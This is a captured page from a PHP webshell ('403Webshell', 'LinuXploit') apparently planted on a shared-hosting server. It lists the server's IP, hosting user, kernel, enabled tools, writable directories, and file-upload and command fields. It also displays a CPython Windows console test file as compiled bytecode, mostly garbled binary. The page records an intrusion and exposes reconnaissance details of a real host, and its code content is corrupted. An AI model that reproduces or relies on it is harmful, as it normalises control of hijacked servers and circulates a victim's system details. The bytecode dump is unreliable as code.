403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.230
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_winconsoleio.cpython-36.opt-2.pyc
3

�
�^��@s�ddlZddlZddlZddlZddlZddlmZejdkrHejd��ddl	m
Z
ejZGdd�dej
�Zedkr|ej�dS)	�N)�support�win32ztest only relevant on win32)�write_inputc@s�eZdZdd�Zdd�Zdd�Zejej	�dd�dkd�dd
��Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�ZdS)�WindowsConsoleIOTestscCs:|jtttj��|jtttj��|jtttj��dS)N)�
assertTrue�
issubclass�ConIO�io�	RawIOBase�assertFalse�BufferedIOBase�
TextIOBase)�self�r�6/opt/alt/python36/lib64/python3.6/test_winconsoleio.py�test_abcszWindowsConsoleIOTests.test_abcc#Csb|jtdtd�tj�\}}z|jtdt|�Wdtj|�Xytd�}Wntk
r^Yn>X|j|j��|j	|j
��|jd|j��|j�|j�ytdd�}Wntk
r�Yn>X|j	|j��|j|j
��|jd|j��|j�|j�ytdd�}Wntk
�r Yn>X|j	|j��|j|j
��|jd|j��|j�|j�dS)Nznegative file descriptor�z&Cannot open (console|non-console file)r�w����)
ZassertRaisesRegex�
ValueErrorr�tempfileZmkstemp�os�closer�readabler�writable�assertEqual�fileno)r�fd�_�frrr�test_open_fdsD
z"WindowsConsoleIOTests.test_open_fdcCs�|jtttj�td�}|j|j��|j|j��|j	|j
��|j�|j�td�}|j|j��|j|j��|j	|j
��|j�|j�tdd�}|j|j��|j|j��|j	|j
��|j�|j�tdddd�}|j
|t�|j�dS)	NZCONzCONIN$zCONOUT$rzC:/con�rbr)�	buffering)ZassertRaisesrr�sys�
executablerrrrZassertIsNotNonerr�open�assertIsInstance)rr rrr�test_open_nameIs,
z$WindowsConsoleIOTests.test_open_nameNr�rz+test does not work on Windows 7 and earliercCsHtdddd�}|j|t�|j�tdddd�}|j|t�|j�dS)Nz
\\.\conin$r"r)r#z//?/conout$�wb)r&r'rr)rr rrr�test_conin_conout_namesesz-WindowsConsoleIOTests.test_conin_conout_namesc
Csptj�}|jtj|�tjj|d�}t|ddd��4}t	j
�dd�dkrV|j|t�n|j
|t�WdQRXdS)	NzCONOUT$r*r)r#rr)r)r)r)rZmkdtempZ
addCleanuprZrmtreer�path�joinr&r$�getwindowsversionr'rZassertNotIsInstance)rZ	temp_pathZconout_pathr rrr�test_conout_pathpsz&WindowsConsoleIOTests.test_conout_pathc
Cs,tdd��}|j|jd�d�WdQRXdS)NzCONOUT$r�r)rr�write)rr rrr�test_write_empty_data|sz+WindowsConsoleIOTests.test_write_empty_datacCsTtdd�}tj}z*|t_t|jj|djdd��t�}Wd|t_X|j||�dS)NzCONIN$�rz
z	utf-16-le�
surrogatepass)	r&r$�stdinr�buffer�raw�encode�inputr)r�textr5Z	old_stdin�actualrrr�assertStdinRoundTrip�s

z*WindowsConsoleIOTests.assertStdinRoundTripcCs,|jd�|jd�|jd�|jd�dS)NZabc123uϼўТλФЙuA͏B ﬖ̳AA̝u􀀀􏿿􏿽)r<)rrrr�
test_input�s


z WindowsConsoleIOTests.test_inputc
Cs�djd�}djd�}xptdd�D]b}tdddd	��J}t||�d
}x |jd�sb|j|�}||7}qDW|j||dj|��WdQRXq WdS)
NuϼўТλФЙ
z	utf-16-lezutf-8r�zCONIN$r"r)r#r0�
zstdin.read({}))r8�ranger&r�endswith�readr�format)r�source�expected�
read_countr5r;�brrr�test_partial_reads�s



z(WindowsConsoleIOTests.test_partial_readsc
Cs�djd�}djd�}xptdd�D]b}tdddd	��J}t||�d
}x |jd�sb|j|�}||7}qDW|j||dj|��WdQRXq WdS)
Nu
􁿿􁀁
z	utf-16-lezutf-8rr>zCONIN$r"r)r#r0r?zstdin.read({}))r8r@r&rrArBrrC)rrDrErFr5r;rGrrr�test_partial_surrogate_reads�s



z2WindowsConsoleIOTests.test_partial_surrogate_readscCsxtdddd��`}djd�}djd�}t||�|jd	�|j�}}|j|dd	�|�|j|d	d�|�WdQRXdS)
NzCONIN$r"r)r#uÄ
z	utf-16-le�Äzutf-8r)r&r8rrB�readallr)rr5rDrE�arGrrr�test_ctrl_z�s


z!WindowsConsoleIOTests.test_ctrl_z)r)r)�__name__�
__module__�__qualname__rr!r(�unittestZskipIfr$r.r+r/r2r<r=rHrIrMrrrrrs1

r�__main__)r	rr$rrQZtestr�platformZSkipTestZ_testconsolerZ_WindowsConsoleIOrZTestCaserrN�mainrrrr�<module>s

1

Youez - 2016 - github.com/yon3zu
LinuXploit